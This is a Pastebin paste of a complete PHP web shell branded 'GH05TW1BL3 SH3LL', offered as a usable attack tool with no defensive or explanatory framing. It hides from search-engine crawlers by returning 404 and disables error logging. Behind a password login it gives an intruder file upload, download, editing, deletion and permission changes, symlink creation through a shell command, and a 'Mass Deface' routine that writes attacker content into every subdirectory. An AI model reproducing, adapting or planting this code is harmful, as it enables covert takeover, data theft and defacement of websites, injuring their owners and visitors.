Advertisement
Guest User

wible

a guest
May 9th, 2018
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.97 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12. $auth_pass = "dd302f94682dbd2a114d63b0433602e0"; // pass : KONTTTTTTOLLLLLLLL
  13. $errorforbidden = $_SERVER['REQUEST_URI'];
  14. $color = "#00ff00";
  15. $default_action = 'FilesMan';
  16. $default_use_ajax = true;
  17. $default_charset = 'UTF-8';
  18. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  19. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  20. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  21. header('HTTP/1.0 404 Not Found');
  22. exit;
  23. }
  24. }
  25.  
  26. function login_shell() {
  27. ?>
  28. <?php
  29. $errorforbidden = $_SERVER['REQUEST_URI'];
  30. $crotnya = '<style> input { margin:0;background-color:#fff;border:1px solid #fff; }</style>
  31. <center><form method="post"><input type="password" name="pass"></form></center>';
  32. ?>
  33. <html>
  34. <head>
  35. <title>./GH05TW1BL3 SH3LL</title>
  36. <style type="text/css">
  37. html {
  38. margin: 20px auto;
  39. background: #000000;
  40. color: white;
  41. text-align: center;
  42. }
  43. header {
  44. color: white;
  45. margin: 10PX auto;
  46. }
  47. input[type=password] {
  48. width: 200px;
  49. height: 25px;
  50. color: purple;
  51. background: #000000;
  52. border: 1px;
  53. padding: 5px;
  54. margin-left: 20px;
  55. text-align: center;
  56. }
  57. #os{
  58. margin: 10px auto;
  59. font-family: "Courier New", cursive;
  60. }
  61. .ascii{
  62. -webkit-animation-name: blinker;
  63. -webkit-animation-duration: 4s;
  64. -webkit-animation-timing-function: linear;
  65. -webkit-animation-iteration-count: infinite;
  66.  
  67. -moz-animation-name: blinker;
  68. -moz-animation-duration: 3s;
  69. -moz-animation-timing-function: linear;
  70. -moz-animation-iteration-count: infinite;
  71.  
  72. animation-name: blinker;
  73. animation-duration: 2s;
  74. animation-timing-function: linear;
  75. animation-iteration-count: infinite;
  76.  
  77. color: purple;
  78. }
  79. @-moz-keyframes blinker {
  80. 0% { opacity: 1.0; }
  81. 50% { opacity: 0.0; }
  82. 100% { opacity: 1.0; }
  83. }
  84.  
  85. @-webkit-keyframes blinker {
  86. 0% { opacity: 1.0; }
  87. 50% { opacity: 0.0; }
  88. 100% { opacity: 1.0; }
  89. }
  90.  
  91. @keyframes blinker {
  92. 0% { opacity: 1.0; }
  93. 50% { opacity: 0.0; }
  94. 100% { opacity: 1.0; }
  95. }
  96. </style>
  97. </head>
  98. <center>
  99. <header>
  100. <center><img src="https://image.ibb.co/hxxYmx/1524635188716.png">
  101. </img> <pre class="ascii">
  102. <font color="white" size="60">HAI GANTENG :D</pre>
  103. </header>
  104. <div id="os">
  105. <font color=""</font></div>
  106. <?php print $crotnya; ?>
  107. <?php
  108. exit;
  109. }
  110. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  111. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  112. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  113. else
  114. login_shell();
  115. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  116. @ob_clean();
  117. $file = $_GET['file'];
  118. header('Content-Description: File Transfer');
  119. header('Content-Type: application/octet-stream');
  120. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  121. header('Expires: 0');
  122. header('Cache-Control: must-revalidate');
  123. header('Pragma: public');
  124. header('Content-Length: ' . filesize($file));
  125. readfile($file);
  126. exit;
  127. }
  128. echo '<!DOCTYPE HTML>
  129. <html>
  130. <head>
  131. <title>./GH05TW1BL3 SH3LL</title>
  132. </head>';
  133.  
  134. ?>
  135.  
  136. <style>
  137. @font-face {
  138. font-family: 'Comic Sans MS';
  139. font-style: normal;
  140. font-weight: 400;
  141. src: local('Comic Sans MS'), local('ComicSansMS'), url(http://fonts.gstatic.com/l/font?kit=3oir0CAJ0QJ5h5-A3AP8rRSrmRvs-bRaaQbSAUyiv7A&skey=a4ba60ff9fc73cf8&v=v8) format('truetype');
  142. }
  143. body {
  144.  
  145. background: #000000;line-height: 1;color: #fff;font-family: Comic Sans MS ;
  146.  
  147. }
  148. table, th, td {
  149. border-collapse:collapse;
  150. background: transparent;
  151. font-family: Comic Sans MS ;
  152. font-size: 13px;
  153. }
  154. input, textarea { font-family: Comic Sans MS ; }
  155. .table_home, .th_home, .td_home { color:blue;
  156. border: 1px solid blue;
  157. }
  158. th {
  159. padding: 10px;
  160. }
  161. .td_home { padding: 7px; }
  162. select {font-family: Comic Sans MS }
  163. a {color:blue}
  164. textarea { width: 100%;height: 400px; }
  165. </style>
  166. <style>
  167. *{
  168. margin-top:1px;
  169. }
  170. body{
  171. background-position: center;
  172. background-color:#000000;
  173. height:99%;
  174. width:99%;
  175. background-attachment: fixed;
  176. background-size:100% 100%;
  177. background-color: black;
  178. }
  179. </style>
  180. <?php
  181.  
  182. echo '</head>
  183. <body><center><br> <img src="https://image.ibb.co/hxxYmx/1524635188716.png"
  184.  
  185. width="300" height="300"/>
  186. <script>
  187. var text="...SELAMAT DATANG...";
  188. var delay=10;
  189. var currentChar=1;
  190. var destination="[none]";
  191. function type()
  192. {
  193. //if (document.all)
  194. {
  195. var dest=document.getElementById(destination);
  196. if (dest)// && dest.innerHTML)
  197. {
  198. dest.innerHTML=text.substr(0, currentChar)+"<blink>_</blink>";
  199. currentChar++;
  200. if (currentChar>text.length)
  201. {
  202. currentChar=1;
  203. setTimeout("type()", 5000);
  204. }
  205. else
  206. {
  207. setTimeout("type()", delay);
  208. }
  209. }
  210. }
  211. }
  212. function startTyping(textParam, delayParam, destinationParam)
  213. {
  214. text=textParam;
  215. delay=delayParam;
  216. currentChar=1;
  217. destination=destinationParam;
  218. type();
  219. }
  220. </script> <b><div 0px="" 12px="" ComicSansMs="" color:="" FC0707="" font:="" id="textDestination" margin:="" style="background-color: none;"></div></b><script language="JavaScript">
  221. javascript:startTyping(text, 50, "textDestination");
  222. </script>
  223. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  224.  
  225. <tr><td>
  226.  
  227. <font color="lime"><center>'.php_uname().'</center></font><br>';
  228. if(isset($_GET['path'])){
  229. $path = $_GET['path'];
  230. }else{
  231. $path =
  232.  
  233.  
  234.  
  235. getcwd();
  236.  
  237. }
  238. $path = str_replace('\\','/',$path);
  239. $paths = explode('/',$path);
  240.  
  241. foreach($paths as $id=>$pat){
  242. if($pat == '' && $id == 0){
  243. $a = true;
  244. echo '<font color=#fff><center>Path: <a href="?path=/">/</a>';
  245. continue;
  246. }
  247. if($pat == '') continue;
  248. echo '<a href="?path=';
  249. for($i=0;$i<=$id;$i++){
  250. echo "$paths[$i]";
  251. if($i != $id) echo "/";
  252. }
  253. echo '">'.$pat.'</a>/';
  254. }
  255.  
  256. echo '</font></center></td></tr><tr><td><center>';
  257. if(isset($_FILES['file'])){
  258. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  259. echo '<font color="green">File Upload</font><br />';
  260. }else{
  261. echo '<font color="red">Upload Failed !!</font><br />';
  262. }
  263. }
  264. if (isset($_GET['mass'])) {
  265. echo "<center><form method='POST'><br>Dir : <input type='text' name='base_dir' size='50' value='".getcwd ()."'><br><br>File Name : <input type='text' name='file_name' value='namasclu.php'><br><br><br>Your Index : <br><textarea style='width: 685px; height: 330px;' name='index'>ScriptDeface</textarea><br><input type='submit' value='Start'></form></center>";
  266. }
  267. if (isset ($_POST['base_dir']))
  268. {
  269. if (!file_exists ($_POST['base_dir']))
  270. die ($_POST['base_dir']." Not Found !<br>");
  271.  
  272. if (!is_dir ($_POST['base_dir']))
  273. die ($_POST['base_dir']." Is Not A Directory !<br>");
  274.  
  275. @chdir ($_POST['base_dir']) or die ("Cannot Open Directory");
  276.  
  277. $files = @scandir ($_POST['base_dir']) or die ("oohhh shet<br>");
  278.  
  279. foreach ($files as $file):
  280. if ($file != "." && $file != ".." && @filetype ($file) == "dir")
  281. {
  282. $index = getcwd ()."/".$file."/".$_POST['file_name'];
  283. if (file_put_contents ($index, $_POST['index']))
  284. echo "$index&nbsp&nbsp&nbsp&nbsp<span style='color: blue'>CROOTZ</span><br>";
  285. }
  286. endforeach;
  287. }
  288. if (isset($_POST['logout'])) {
  289. session_destroy();
  290. echo '<meta http-equiv="Refresh" content="0; URL='.$_SERVER['PHP_SELF'].'"/>';
  291. }
  292. if($_GET['sym']){
  293. rmdir("sym404");mkdir("sym404", 0777);
  294. $dir = $_POST['dir'];
  295. $jnck = $_POST['gt'];
  296. system("ln -s ".$dir." sym404/".$jnck);
  297. symlink($dir,"sym404/".$jnck);
  298. $inija = fopen("sym404/.htaccess", "w");
  299. fwrite($inija,"ReadmeName ".$jnck);
  300. echo'<a href="sym404/">Klik Gan >:(</a>';
  301. }
  302. echo '</center><center><form enctype="multipart/form-data" method="POST"><font color="black"><input style="background:silver;font-family: Comic Sans MS " type="file" name="file" />
  303. <input type="submit" value="Upload" /><input type=submit name=logout value=Logout>
  304. <br><a href=?mass> Mass Deface </form></center>
  305. </td></tr>';
  306. if(isset($_GET['filesrc'])){
  307. echo "<tr><td><center>Current File : ";
  308. echo $_GET['filesrc'];
  309. echo '</center></tr></td></table><br />';
  310. echo(' <textarea style="width: 100%;height: 400px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
  311. }
  312. //Empety
  313. elseif(isset($_GET['option']) && $_GET['opt'] != 'delete'){
  314. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  315. //Chmod
  316. if($_GET['opt'] == 'chmod'){
  317. if(isset($_POST['perm'])){
  318. if(chmod($_POST['path'],$_POST['perm'])){
  319. echo '<font color="green">Change Permission Done </font><br />';
  320. }else{
  321. echo '<font color="red">Change Permission Error </font><br />';
  322. }
  323. }
  324.  
  325. $hell = $_GET['path'];
  326. $yeah = $_GET['name'];
  327. $patc = "$hell/$yeah";
  328.  
  329. echo '<form method="POST">
  330. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($patc)), -4).'" />
  331. <input type="hidden" name="path" value="'.$_POST['path'].'">
  332. <input type="hidden" name="opt" value="chmod">
  333. <input type="submit" value="Go" />
  334. </form>';
  335. }
  336. //
  337. elseif($_GET['opt'] == 'btw'){
  338. $cwd = getcwd();
  339. echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST">
  340. New Name : <input name="name" type="text" size="20" value="Folder" />
  341. <input type="hidden" name="path" value="'.$cwd.'">
  342. <input type="hidden" name="opt" value="delete">
  343. <input type="submit" value="Go" />
  344. </form>';
  345. }
  346. //Rename file
  347. elseif($_GET['opt'] == 'rename'){
  348. if(isset($_POST['newname'])){
  349. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  350. echo '<font color="green">Change Name Done </font><br />';
  351. }else{
  352. echo '<font color="red">Change Name Error </font><br />';
  353. }
  354. $_POST['name'] = $_POST['newname'];
  355. }
  356. $hell = $_GET['path'];
  357. $yeah = $_GET['name'];
  358. $patc = "$hell/$yeah";
  359. $new = $_POST['newname'];
  360.  
  361. echo '<form method="POST">
  362. New Name : <input name="newname" type="text" size="20" value="'.$new.'" />
  363. <input type="hidden" name="path" value="'.$patc.'">
  364. <input type="hidden" name="opt" value="rename">
  365. <input type="submit" value="Go" />
  366. </form>';
  367. }
  368. //File baru
  369. elseif($_GET['opt'] == 'baru'){
  370.  
  371. $hell = $_GET['path'];
  372. $yeah = $_GET['name'];
  373. $patc = "$hell/$yeah";
  374. $new = $_POST['newname'];
  375. $azz = $_POST['path'];
  376. $newz = "$azz/$new";
  377.  
  378.  
  379.  
  380. if(isset($_POST['src'])){
  381. $fp = fopen($_POST['path'],'w');
  382. if(fwrite($fp,$_POST['src'])){
  383. echo '<font color="green">Create File Done [ '.$new.' ]</font><br />';
  384. }else{
  385. echo '<font color="red">Create File Error</font><br />';
  386. }
  387. fclose($fp);
  388. }
  389.  
  390. echo '<form method="POST"> Name : <input name="ngaran1" type="text" size="20" value="'.$new.'" /><input type="submit" name="ngaran" value="Create"/></form><br> ';
  391.  
  392. $ho = $_POST['ngaran1'];
  393.  
  394. if(isset($_POST['ngaran'])){
  395. echo '<form method="POST">
  396. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
  397. <input type="hidden" name="path" value="'.$hell.'/'.$ho.'">
  398. <input type="hidden" name="opt" value="edit">
  399. <input type="submit" value="Go" />
  400. </form>';
  401. }
  402. }
  403. //Edited file
  404. elseif($_GET['opt'] == 'edit'){
  405. if(isset($_POST['src'])){
  406. $fp = fopen($_POST['path'],'w');
  407. if(fwrite($fp,$_POST['src'])){
  408. echo '<font color="green">Edit File Done </font><br />';
  409. }else{
  410. echo '<font color="red">Edit File Error </font><br />';
  411. }
  412. fclose($fp);
  413. }
  414. $hell = $_GET['path'];
  415. $yeah = $_GET['name'];
  416. $patc = "$hell/$yeah";
  417. echo '<form method="POST">
  418. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
  419. <input type="hidden" name="path" value="'.$patc.'">
  420. <input type="hidden" name="opt" value="edit">
  421. <input type="submit" value="Go" />
  422. </form>';
  423. }
  424. echo '</center>';
  425. }else{
  426. echo '</table><br /><center>';
  427. //Delete dir and file
  428. if(isset($_GET['option']) && $_GET['opt'] == 'delete'){
  429.  
  430. $hell = $_GET['path'];
  431. $yeah = $_GET['name'];
  432. $patc = "$hell/$yeah";
  433.  
  434. //Delete dir
  435. if($_GET['type'] == 'dir'){
  436.  
  437. if(rmdir($patc)){
  438. echo '<font color="green">Delete File Done</font><br />';
  439. }else{
  440. echo '<font color="red#">Delete File Error </font><br />';
  441. }
  442. }
  443. //buat folder
  444. if($_GET['type'] == 'buat'){
  445. $haaa = $_POST['path'];
  446. $heee = $_POST['name'];
  447. $hooo = "$haaa/$heee";
  448. $new = $haaa.'/'.htmlspecialchars($heee);
  449. if(!mkdir($new)){
  450. echo '<font color="red">Create Folder Error</font><br />';
  451. }else{
  452. echo '<font color="green">Create Folder Done </font><br />';
  453. }
  454. }
  455. //Delete file
  456. elseif($_GET['type'] == 'file'){
  457.  
  458. $hell = $_GET['path'];
  459. $yeah = $_GET['name'];
  460. $patc = "$hell/$yeah";
  461.  
  462. if(unlink($patc)){
  463. echo '<font color="green">Delete File Done</font><br />';
  464. }else{
  465. echo '<font color="red#">Delete File Error </font><br />';
  466. }
  467. }
  468. }
  469. echo '</center>';
  470. $scandir = scandir($path);
  471. $pa = getcwd();
  472. echo ' <table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  473. <tr>
  474. <th class=th_home style="background:silver;color:black;"><center>Name</center></th>
  475. <th class=th_home style="background:silver;color:black;" ><center>Size</center></th>
  476. <th class=th_home style="background:silver;color:black;" ><center>Perm</center></th>
  477. <th class=th_home style="background:silver;color:black;" ><center>Options</center></th>
  478. </tr> <tr>
  479. <td class=td_home>..</td><td class=td_home align=center>NONE</td> <td class=td_home align=center>LINK</td> <td class=td_home align=center> <a href="?option&path='.$pa.'&opt=baru&name=new.php">+ New File</a> | <a href="?option&path='.$pa.'&opt=btw&type=dir">+ New Dir</a> </td></tr>
  480. ';
  481.  
  482. foreach($scandir as $dir){
  483. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  484. echo "
  485. <tr>
  486. <td class=td_home> <img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> <a href=\"?path=$path/$dir\">$dir</a></td>
  487. <td class=td_home ><center>DIR</center></td>
  488. <td class=td_home ><center>";
  489. if(is_writable("$path/$dir")) echo '<font color="green">';
  490. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  491. echo perms("$path/$dir");
  492. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  493.  
  494. echo "</center></td>
  495. <td class=td_home ><center>
  496. <a href=\"?option&path=$path&opt=rename&type=dir&name=$dir\">Rename</a> <a href=\"?option&path=$path&opt=delete&type=dir&name=$dir\">Delete</a> <a href=\"?option&path=$path&opt=chmod&type=dir&name=$dir\">Chmod</a>
  497.  
  498. </center></td>
  499. </tr>";
  500. }
  501. echo '<br>';
  502. foreach($scandir as $file){
  503. if(!is_file("$path/$file")) continue;
  504. $size = filesize("$path/$file")/1024;
  505. $size = round($size,3);
  506. if($size >= 1024){
  507. $size = round($size/1024,2).' MB';
  508. }else{
  509. $size = $size.' KB';
  510. }
  511.  
  512. echo "<tr>
  513. <td class=td_home > <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  514. <td class=td_home><center>".$size."</center></td>
  515. <td class=td_home><center>";
  516. if(is_writable("$path/$file")) echo '<font color="green">';
  517. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  518. echo perms("$path/$file");
  519. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  520. echo "</center></td>
  521. <td class=td_home><center>
  522. <a href=\"?option&path=$path&opt=edit&type=file&name=$file\">Edit</a> <a href=\"?option&path=$path&opt=rename&type=file&name=$file&path=$path\">Rename</a> <a href=\"?option&path=$path&opt=delete&type=file&name=$file\">Delete</a> <a href=\"?option&path=$path&opt=chmod&type=file&name=$file\">Chmod</a>
  523. </center></td>
  524. </tr>";
  525. }
  526. echo '</table>
  527. </div>';
  528. }
  529. echo '<br><center>©opyright 2018 by ./GH05TW1BL3</b></body>
  530. </html>';
  531. function perms($file){
  532. $perms = fileperms($file);
  533.  
  534. if (($perms & 0xC000) == 0xC000) {
  535. // Socket
  536. $info = 's';
  537. } elseif (($perms & 0xA000) == 0xA000) {
  538. // Symbolic Link
  539. $info = 'l';
  540. } elseif (($perms & 0x8000) == 0x8000) {
  541. // Regular
  542. $info = '-';
  543. } elseif (($perms & 0x6000) == 0x6000) {
  544. // Block special
  545. $info = 'b';
  546. } elseif (($perms & 0x4000) == 0x4000) {
  547. // Directory
  548. $info = 'd';
  549. } elseif (($perms & 0x2000) == 0x2000) {
  550. // Character special
  551. $info = 'c';
  552. } elseif (($perms & 0x1000) == 0x1000) {
  553. // FIFO pipe
  554. $info = 'p';
  555. } else {
  556. // Unknown
  557. $info = 'u';
  558. }
  559.  
  560. // Owner
  561. $info .= (($perms & 0x0100) ? 'r' : '-');
  562. $info .= (($perms & 0x0080) ? 'w' : '-');
  563. $info .= (($perms & 0x0040) ?
  564. (($perms & 0x0800) ? 's' : 'x' ) :
  565. (($perms & 0x0800) ? 'S' : '-'));
  566.  
  567. // Group
  568. $info .= (($perms & 0x0020) ? 'r' : '-');
  569. $info .= (($perms & 0x0010) ? 'w' : '-');
  570. $info .= (($perms & 0x0008) ?
  571. (($perms & 0x0400) ? 's' : 'x' ) :
  572. (($perms & 0x0400) ? 'S' : '-'));
  573.  
  574. // World
  575. $info .= (($perms & 0x0004) ? 'r' : '-');
  576. $info .= (($perms & 0x0002) ? 'w' : '-');
  577. $info .= (($perms & 0x0001) ?
  578. (($perms & 0x0200) ? 't' : 'x' ) :
  579. (($perms & 0x0200) ? 'T' : '-'));
  580.  
  581. return $info;
  582. }
  583.  
  584. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement